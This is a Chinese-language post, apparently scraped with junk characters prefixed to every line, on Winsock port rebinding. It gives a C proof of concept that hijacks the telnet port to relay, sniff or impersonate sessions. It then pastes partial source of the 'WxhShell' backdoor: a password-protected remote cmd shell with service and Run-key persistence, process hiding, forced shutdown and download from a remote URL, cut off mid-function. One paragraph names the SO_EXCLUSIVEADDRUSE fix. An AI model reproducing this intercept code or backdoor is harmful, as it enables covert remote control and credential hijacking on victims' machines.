在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C*X=nezq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l6_dVK;s ?i{/iH~Sf saddr.sin_family = AF_INET;
p C^=?!:U Phq"A[4=O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DyPHQ}G >;Ag7Ex bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\^o I3K0` H~$*R7~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,tTq25~H\ Efp[K}Z^$ 这意味着什么?意味着可以进行如下的攻击:
56JxHQu 8&Md=ZvK` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~n=oPm$pR 6L<Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
jWL%*dJrN ]Z IreI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+7\"^D w%1-_;.aU6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z{H=;"+rh B@j2^Dr~! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+lplQh@RB sEymwpm9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
YMn*i<m T{So2@_& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yQcIfl]f #fx>{ vzH #include
0fJz[;dV>n #include
&K*Kr=9N #include
prEI9/d" #include
;,lFocGv DWORD WINAPI ClientThread(LPVOID lpParam);
KwHlpW* int main()
XvSng"f. {
5[y+X|Am WORD wVersionRequested;
+mPVI DWORD ret;
5pU/X.lc WSADATA wsaData;
6e>P!bo BOOL val;
j=dGNi)R SOCKADDR_IN saddr;
x,NV{uG$n SOCKADDR_IN scaddr;
4_P6P int err;
"F=ta SOCKET s;
4#,,_\r SOCKET sc;
!o`riQLs> int caddsize;
r]0>A&, HANDLE mt;
vRh)o1u) DWORD tid;
)7C+hQe wVersionRequested = MAKEWORD( 2, 2 );
Q h{P>} err = WSAStartup( wVersionRequested, &wsaData );
!^'6&NR#K if ( err != 0 ) {
]f~!Qk!I7r printf("error!WSAStartup failed!\n");
dv Vz# return -1;
<v6W
l\ }
$[g#P^ saddr.sin_family = AF_INET;
1'!D
F%f)oq`B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_lDNYpv |%oI,d=ycv saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:6:,s#av saddr.sin_port = htons(23);
$0gGRCCG; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@_$Un&eo {
.ah[!O printf("error!socket failed!\n");
IISdC(5 return -1;
Q@1SqK#-DQ }
"l{{H&d val = TRUE;
e3mFO+ //SO_REUSEADDR选项就是可以实现端口重绑定的
i}e/!IVR3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
LGK&&srJs {
4T]A!
y{
printf("error!setsockopt failed!\n");
]!]B7|JFJ return -1;
)Ma/]eZ^I }
*xjP^y": //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O!ilTMr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nDS\2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OZ33w-X< 9#>nFs"H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#KNl<V+c}1 {
JEs@ky?{z ret=GetLastError();
{FX]1: printf("error!bind failed!\n");
BRa9j:_b return -1;
^xgqs $`7 }
Vr@tSc& listen(s,2);
R^mkQb>m. while(1)
|c>.xt~ {
c^r WS&)P caddsize = sizeof(scaddr);
Zoy)2E{ //接受连接请求
18Vn[}]" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6L;]5)# if(sc!=INVALID_SOCKET)
*aJO5&w<T {
|e<$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9 p,O>I if(mt==NULL)
~{$c| {
&=f?:UZ% printf("Thread Creat Failed!\n");
_K&Hiz/' break;
XG!6[o; }
)~Gn7 }
h@z0 x4_]) CloseHandle(mt);
.Cf!5[0E }
PCHKH closesocket(s);
5$$#d_Gj WSACleanup();
`8r$b/6 return 0;
FJ^\K+; }
+f%"O? DWORD WINAPI ClientThread(LPVOID lpParam)
lMH~J8U3 {
~<-mxOe SOCKET ss = (SOCKET)lpParam;
h$}PQ SOCKET sc;
1]9w9!j unsigned char buf[4096];
3IJ0 P.x!o SOCKADDR_IN saddr;
6{{<+
o long num;
{kBsiSvsA; DWORD val;
]28j$)6
DWORD ret;
oaZdvu@y //如果是隐藏端口应用的话,可以在此处加一些判断
C_'EO<w$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E[7E%^:Mg saddr.sin_family = AF_INET;
XUKlgl!+. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9]{va"pe7 saddr.sin_port = htons(23);
"h #/b}/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?"^{:~\N {
lSBR(a<\y printf("error!socket failed!\n");
B`t/21J return -1;
9^9-\DG }
4"H*hKp val = 100;
rd<43 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[V>s]c<4`o {
& Zn`2% ret = GetLastError();
PU[<sr#, return -1;
^^zj4 }On? }
*u:,@io7'G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0w:
3/WO {
//;(KmU9 ret = GetLastError();
Hq+QsplG return -1;
g$jT P#%b }
)[J@s= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)iM(
\=1ff {
=36fS/Gb printf("error!socket connect failed!\n");
mj&OZ+ closesocket(sc);
PO8Z2"WI closesocket(ss);
; o
Y|~ return -1;
|d&C<O;f }
I`*5z;Q!%@ while(1)
wP*3Hx;S {
?wv^X`Q*~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^EKRbPA9:< //如果是嗅探内容的话,可以再此处进行内容分析和记录
qH5nw}] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iC5HrOl6U num = recv(ss,buf,4096,0);
.drY if(num>0)
J
<;xkT1x send(sc,buf,num,0);
iCA-X\E else if(num==0)
lVQE}gd%m break;
39hep8+ num = recv(sc,buf,4096,0);
^N[ Cip}8 if(num>0)
#HH[D;z send(ss,buf,num,0);
k*n~&y: O else if(num==0)
[qW%H,_ break;
Ow*va\0 }
5'eBeNxM closesocket(ss);
UWEegFq* closesocket(sc);
U65l o[ return 0 ;
tW4X+d" }
\O4s0*gw ]hS<"=oj >zDQt7+g; ==========================================================
CuH4~6 < K!r\^ 下边附上一个代码,,WXhSHELL
$~G5s<r Xz^k.4 Y{4 ==========================================================
iN.
GC^l 5I,NvHD4 #include "stdafx.h"
~?Vo d|> n@ SUu7o #include <stdio.h>
%3~miP #include <string.h>
qR!ZtJ5j #include <windows.h>
[uHU[
sG #include <winsock2.h>
Z{BK@Q4z #include <winsvc.h>
R.*;] R>M #include <urlmon.h>
}~|`h1JF Uz_p-J0 #pragma comment (lib, "Ws2_32.lib")
=.;ib6M #pragma comment (lib, "urlmon.lib")
4K'U}W E"_{S.Wc #define MAX_USER 100 // 最大客户端连接数
N2U&TCc #define BUF_SOCK 200 // sock buffer
0?8>{!I #define KEY_BUFF 255 // 输入 buffer
_hyqHvP -&`_bf%M #define REBOOT 0 // 重启
E
b:iym0 #define SHUTDOWN 1 // 关机
i+mU(/l2{ K<:%ofB"S #define DEF_PORT 5000 // 监听端口
c5$DHT@N" (J %4}Dm #define REG_LEN 16 // 注册表键长度
]
1pIIX} #define SVC_LEN 80 // NT服务名长度
V\x'w*FP 2,q*8=?{6P // 从dll定义API
oA[`|
ji typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:0Jn`Ds4o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
gk 6R# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X4S|JT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XJPIAN~l AV2Jl"1)z // wxhshell配置信息
$)"T9$>$ struct WSCFG {
p@%Pdx int ws_port; // 监听端口
$3l#eKZA char ws_passstr[REG_LEN]; // 口令
.z_nW1id int ws_autoins; // 安装标记, 1=yes 0=no
{Kr}RR*{X char ws_regname[REG_LEN]; // 注册表键名
|v%$Q/zp& char ws_svcname[REG_LEN]; // 服务名
;"0bVs`.^e char ws_svcdisp[SVC_LEN]; // 服务显示名
*X$qgSW char ws_svcdesc[SVC_LEN]; // 服务描述信息
>QvqH 2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y>0 @. int ws_downexe; // 下载执行标记, 1=yes 0=no
SQ> Yf\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:t!J
9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
PvV\b<Pe+ rgCC3TX };
/klo),|& ~y"R{-%uS // default Wxhshell configuration
?]Hs~n- struct WSCFG wscfg={DEF_PORT,
(^FMm1@T "xuhuanlingzhe",
9)]`le 1,
eA(\#+)X ` "Wxhshell",
$peL1'Evo "Wxhshell",
XrTc5V "WxhShell Service",
h ChO "Wrsky Windows CmdShell Service",
TM{m:I:Z*n "Please Input Your Password: ",
}NwmZw>_ 1,
)e PQxx "
http://www.wrsky.com/wxhshell.exe",
Cj3Xp~ "Wxhshell.exe"
9 c9$cnQ };
xj U0& hz;SDaBA // 消息定义模块
Od;k}u6;< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@w= =*.x char *msg_ws_prompt="\n\r? for help\n\r#>";
*(q{k%/M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5OGwOZAj52 char *msg_ws_ext="\n\rExit.";
hs;|,r char *msg_ws_end="\n\rQuit.";
d7b`X<=@s char *msg_ws_boot="\n\rReboot...";
NiVLx_<Pr' char *msg_ws_poff="\n\rShutdown...";
X%-hTl char *msg_ws_down="\n\rSave to ";
CPNV\qCY \R@}X cqZ char *msg_ws_err="\n\rErr!";
<ZZfN@6 char *msg_ws_ok="\n\rOK!";
~h8k4eM /_cpSq char ExeFile[MAX_PATH];
2& Hl
wpx int nUser = 0;
6zU0 8z0- HANDLE handles[MAX_USER];
rt vLLOIO int OsIsNt;
|>j^$^l~ ;WN%tI) SERVICE_STATUS serviceStatus;
bt=D<YZk SERVICE_STATUS_HANDLE hServiceStatusHandle;
`_Iyr3HAf
A ;`[va // 函数声明
i=b'_SZ' int Install(void);
|AvsT{2 int Uninstall(void);
E5P.x^ int DownloadFile(char *sURL, SOCKET wsh);
`{"V(YMEV int Boot(int flag);
-M]/Xv] void HideProc(void);
5?>Q[a.Ne int GetOsVer(void);
d:&cq8^ int Wxhshell(SOCKET wsl);
?UflK void TalkWithClient(void *cs);
N/{=j int CmdShell(SOCKET sock);
(0 t{ int StartFromService(void);
rM~Mqpk int StartWxhshell(LPSTR lpCmdLine);
u];\v%b ;+f(1=x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^v;8 (eF VOID WINAPI NTServiceHandler( DWORD fdwControl );
8[^b8^ }o
GMF~ // 数据结构和表定义
DP*V|) SERVICE_TABLE_ENTRY DispatchTable[] =
Qx EmuiN {
iuEe#B;! {wscfg.ws_svcname, NTServiceMain},
iN
u k5 {NULL, NULL}
L-|7
& };
|1OF!(: w"Zws[pm] // 自我安装
'zt}\ Dt int Install(void)
P6^\*xkMr {
\3U.;}0_X char svExeFile[MAX_PATH];
9WoTo ,q HKEY key;
b7M ) strcpy(svExeFile,ExeFile);
%kBrxf gY-}!9kW] // 如果是win9x系统,修改注册表设为自启动
S|RUc}( if(!OsIsNt) {
]Ah<kq2sk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
LwQYO'X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LGRhCOP: RegCloseKey(key);
g( eA? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
![%:X)? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4%jSqT@ RegCloseKey(key);
a!x?Apww return 0;
Vc|QW }
w 01\KV }
G"<} s
mB }
Wc##.qU else {
%8%0l*n' |2X+( F Ed // 如果是NT以上系统,安装为系统服务
=WFG[~8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
HFj@NRE6 if (schSCManager!=0)
Qo["K}Ty {
h5H#xoCXp SC_HANDLE schService = CreateService
y=y#*yn & (
W2,Uw1\:1 schSCManager,
cC`PmDGq wscfg.ws_svcname,
?0+J"FH# W wscfg.ws_svcdisp,
;&RHc#1F SERVICE_ALL_ACCESS,
H]f8W]"c[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9[\$\l SERVICE_AUTO_START,
pe`&zI_`? SERVICE_ERROR_NORMAL,
u@[JX1&3"n svExeFile,
0_map z NULL,
Y5Z<uD NULL,
r?n3v[B NULL,
{D 8[pG%z NULL,
A,|lDsvM NULL
'%A*Z,f );
EtvYIfemr if (schService!=0)
u#34mg.. {
PHn3f;I CloseServiceHandle(schService);
dr7ry"5Zq CloseServiceHandle(schSCManager);
uQg&A`4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FHu+dZ strcat(svExeFile,wscfg.ws_svcname);
ZNbb8v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<~!R|5sK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wn{DY
v7B RegCloseKey(key);
{BJn9B return 0;
{f)"F;]V }
=arrp: }
]^CNC0
CloseServiceHandle(schSCManager);
+~\c1|f }
?wS/KEl=O }
::rKW*? .EoLJHL
} return 1;
BIjQ8 t }
yY42+%P 09u@- // 自我卸载
Vam4/6 int Uninstall(void)
;7Y4v`m {
U*6)/.J HKEY key;
RBzBR)@5 )`.'QW if(!OsIsNt) {
f"G?#dW/1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U#!f^@&AB RegDeleteValue(key,wscfg.ws_regname);
v81H!c.* RegCloseKey(key);
m2"~.iM8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-F| C6m! RegDeleteValue(key,wscfg.ws_regname);
?5g0#wqI RegCloseKey(key);
Os-sYaW return 0;
V<;w }
Xm2p<Xu8h }
_7"G&nZ0 }
Pb^Mc <j else {
("L&iu\`@ Bzw!,(u/
" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u;qBW
uO if (schSCManager!=0)
xui.63/ {
0
))W [ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jQ s"8[=s if (schService!=0)
8E|
Nf {
>1Y',0v if(DeleteService(schService)!=0) {
m:7$"oq| CloseServiceHandle(schService);
HsGyNkr?r CloseServiceHandle(schSCManager);
4>&%N\$* return 0;
^l4=/=RR }
\We\*7^E CloseServiceHandle(schService);
8 3wa{m: }
}QL 2#R CloseServiceHandle(schSCManager);
8&"@6/)[ }
,:QzF"MV }
O:Fnxp5@ _8CE|<Cn return 1;
m*MfGj( }
#X(KW&;m .;0?r9 // 从指定url下载文件
IE-c^'W=}m int DownloadFile(char *sURL, SOCKET wsh)
jCMr[ G= {
AVys`{*c HRESULT hr;
$i+
1a0%n char seps[]= "/";
ni@N/Z?!pA char *token;
}0P5~]S<5A char *file;
i<*{Z~B char myURL[MAX_PATH];
aAr gKM f char myFILE[MAX_PATH];
v/E_A3Ay& ;9r `P_r strcpy(myURL,sURL);
2%'iTXF token=strtok(myURL,seps);
Ck|3DiRQ while(token!=NULL)
!kl9X-IiI {
SWYIQ7* file=token;
;:[!I ]E0 token=strtok(NULL,seps);
'@ym-\, }
$Xf gY1S 9w Pc03a GetCurrentDirectory(MAX_PATH,myFILE);
B%c):`w8] strcat(myFILE, "\\");
e.<$G' strcat(myFILE, file);
h98_6Dw(] send(wsh,myFILE,strlen(myFILE),0);
=W6AUN/%p send(wsh,"...",3,0);
RY(\/W#$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
MHv2r if(hr==S_OK)
S'NZb!1+ return 0;
.&AS-">Z else
~L G). return 1;
J3oj}M* ^;b$`*M1 }
YI=03}I <(YmkOS+ // 系统电源模块
xbFoXYqgP int Boot(int flag)
)pS1yYLj {
4 |ryt4B HANDLE hToken;
aD aQ7i TOKEN_PRIVILEGES tkp;
0B^0,d(s CF`tNA3fxm if(OsIsNt) {
ik@g; >pQD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
S(^*DV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]OE{qXr{ tkp.PrivilegeCount = 1;
0jsU^m<g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_y q"F#,* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:h 1-i if(flag==REBOOT) {
0Dj<-n{9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;IC :]Zu return 0;
~N+bD }
E-NuCP%|c else {
<n iq* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5G@z l return 0;
M+X>!Os }
`c^ _5:euX }
$d4^e&s else {
uP\?y(=" if(flag==REBOOT) {
!\Y85o>JU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
w`(EW>i return 0;
FnN@W^/z }
85rXm*Df else {
qNP&f8fH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&D
"$N" return 0;
@'.(62v }
M^\#(0^2@ }
Vd2bG4*= fZ2>%IxG} return 1;
c7mIwMhl~ }
X'4g\)* / c1=`OJ // win9x进程隐藏模块
'k=GSb void HideProc(void)
A2{u("^[6 {
#>+O=YO - Dm/7Sxd` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7q>WO if ( hKernel != NULL )
HhN;&67~Z {
.'md `@t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@B;2z_Y!l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Bb^CukS: FreeLibrary(hKernel);
C0o0
l> }
<0OZ9?,dm >=|Dir return;
6Y^UC2TBs }
-s`/5kD -/:N&6eRb // 获取操作系统版本
S}Wj+H;
int GetOsVer(void)
qJ=4HlLno {
:- B,Q3d OSVERSIONINFO winfo;
zY\pZG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YGP.LR7 GetVersionEx(&winfo);
TAbd[:2{F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Zgt:ZO return 1;
9(>]6|XS else
?mxBMtc
return 0;
+H5=zf2 }
gWm
-}Nb4 lwEJ)Bv // 客户端句柄模块
99%oY int Wxhshell(SOCKET wsl)
A;nrr1-0 {
5mwtlC':l? SOCKET wsh;
:kUZNw'Bi struct sockaddr_in client;
`mTpL^f DWORD myID;
xSFY8 VG*Tdaua~ while(nUser<MAX_USER)
C~PrIM? {
t|Cp<k]B int nSize=sizeof(client);
uGIA4CUm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1!,xB]v1Ri if(wsh==INVALID_SOCKET) return 1;
3.M<ATe^ 1|)l6#hOL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ig(a28% if(handles[nUser]==0)
J<h^V+x closesocket(wsh);
o2e aSG else
rQ -pD nUser++;
(|DmYn! }
S'>(4a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+cQGX5 K iHoQNog-! return 0;
hsIC5@s3 }
X~ n=U4s}O iiS^xqSNCt // 关闭 socket
<[O8{9j void CloseIt(SOCKET wsh)
w5 nzS)B:u {
MP/6AAt7=| closesocket(wsh);
T#'+w@Q9{9 nUser--;
\I J\ ExitThread(0);
u_[^gS7 }
/QDlm>FM4 Pt~mpRlH // 客户端请求句柄
R7: >'*F void TalkWithClient(void *cs)
h|h-< G?> {
[)V&$~xW qdoJIP{ SOCKET wsh=(SOCKET)cs;
d;`bX+K char pwd[SVC_LEN];
,7:_M>-3g char cmd[KEY_BUFF];
qkB)CY7 char chr[1];
PjriAlxD int i,j;
ea-NqdGs;m .v<c_~y while (nUser < MAX_USER) {
asT:/z0 _"
0VM> if(wscfg.ws_passstr) {
7'pCFeA>=T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P@P(&{@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
et|QW;*L //ZeroMemory(pwd,KEY_BUFF);
Fy!uxT-\ i=0;
Ws'OJ1 while(i<SVC_LEN) {
'EFSr!+ DJ?kQ // 设置超时
e573UB fd_set FdRead;
ft oz0Vb struct timeval TimeOut;
'f0*~Wq| FD_ZERO(&FdRead);
C2RR(n=N^ FD_SET(wsh,&FdRead);
8x$BbK TimeOut.tv_sec=8;
\ FW{&X9a TimeOut.tv_usec=0;
0{bGVLp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"Ka2jw, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X]6Hgz66 ?3bUE\p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S2nF13u pwd
=chr[0]; sM)qzO2wh
if(chr[0]==0xd || chr[0]==0xa) { !yAg!V
KY
pwd=0; 5 _X|U*+5
break; {=Y%=^! s
} d<mj=V@bd
i++; Bbuy
y
} o~7~S
q]F2bo
// 如果是非法用户,关闭 socket 5:(uD3]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g3~e#vdz
} rZ<n0w
S;DqM;Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n"YY:Gm;8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nbM[?=WS
ycAQHY~n
while(1) { lA[BV7.=7
M&P?/Zi=L
ZeroMemory(cmd,KEY_BUFF); 4$Oakl*l
m89-rR:Kc
// 自动支持客户端 telnet标准 P/;sZo
j=0; #$p&J1
while(j<KEY_BUFF) { p9w<|ZQ]:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); llVm[7
cmd[j]=chr[0]; dL%?k@R
if(chr[0]==0xa || chr[0]==0xd) { g{K*EL<
cmd[j]=0; ceN*wkGyB
break; f\CJ |tKX
} L\d"|87lX
j++; S]3K5Z|
} R2kR
#({0HFSC:j
// 下载文件 _l$V|
if(strstr(cmd,"http://")) { hKP7p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8[
if(DownloadFile(cmd,wsh)) 7UQFAt_r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {E*dDv
else ,Bh!|H(?L1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~~Js~
} JWhi*je
else { TR:V7d
5~&9/ALk5
switch(cmd[0]) { 61e)SIRz9I
PCzC8~t
// 帮助 [DS.@97n
case '?': { oNHbQ&h
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WW33ZJ
break; vR$[#`X
} ]?!#*<t r
// 安装 R;+vE'&CO
case 'i': { ??&Q"6Oe
if(Install()) $'D|}=h<Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ut8v&i1?
else ;&B;RUUnTO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cf@~W)K
break; -xg$qvK
} 9
cU]@j}2
// 卸载 J^tLK T B
case 'r': { )}QtK+Rq
if(Uninstall()) x6Q,$B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;}%} /IX
else LIfQh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ne7HPSWiOP
break; =7{n 2
} WGwpryaya
// 显示 wxhshell 所在路径 ;.$AhjqiP
case 'p': { eXo7_#
char svExeFile[MAX_PATH]; d:08@~#
strcpy(svExeFile,"\n\r"); Zpfsh2`
strcat(svExeFile,ExeFile); b1An2e[
send(wsh,svExeFile,strlen(svExeFile),0); '1'#,u!
break; K
q;X(&Z
} 1?:/8l%V
// 重启 %j3XoRex><
case 'b': { Ox.6]W~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z ((Y \vP
if(Boot(REBOOT)) ;S
Re`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (+SfDL$m
else { :x"Q[079
closesocket(wsh); bCWSh~
ExitThread(0); -'SpSy'_
} OV<'v%_&
break; Q<4Sd:P`"
} ^0oOiZs
// 关机 %K0
H?^.
case 'd': { ;2Aqztp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $oF0[ }S
if(Boot(SHUTDOWN))
DZPg|*KT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NE~k)`4j%
else { klkshlk d
closesocket(wsh); h-)tWJ c
ExitThread(0); 'ii5pxeNI
} S\$=b_.
break; x-0O3IIE
} tf1iRXf8
// 获取shell 4:1URhE
case 's': { Mn`);[
CmdShell(wsh); TVy\%FP^L
closesocket(wsh); f]c{,LFvZ
ExitThread(0); TsiI5'tx
break; BO5\rRa0
} +5AWX,9,-
// 退出 IIj
:\?r
case 'x': { 6"@`iY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jL^3/0"o
CloseIt(wsh); "d1~(0=6<m
break; Cp!bsasj
} bF_SD\/
// 离开 KK-}&N8
case 'q': { VsIDd}~C%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y52f8qQq
closesocket(wsh); {|!>
{
WSACleanup(); 2%!yV~Z
exit(1); r.WQ6h/eZ5
break; = Ob-'Syg>
} `i~kW
} o8uak*"{
} yLpsK[)}\
sVT:1 kI
// 提示信息 qYba%g9RN(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,>
%=,x
} _+B{n^ {
} l$1
]
92F9)S{"
return; (:|g"8mQm
} QOT|6)Yb
&/+LY_r'<I
// shell模块句柄 h*X5Oh6
int CmdShell(SOCKET sock) fYxdG|>{u
{ TzSEQS{
STARTUPINFO si; -] @cUx
ZeroMemory(&si,sizeof(si)); q8m[ S4Q]g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]Lb Fh5;s
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z'!Ii+'6
PROCESS_INFORMATION ProcessInfo; Vi9Kah+
char cmdline[]="cmd"; rt8"U<~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V*d@@%u**
return 0; kleE\8_
} )
dB?Ep|
!-tP\%'
// 自身启动模式 (R^qY"H
2
int StartFromService(void) uO^,N**R#
{ 7T69tQZ<
typedef struct xj<
K6
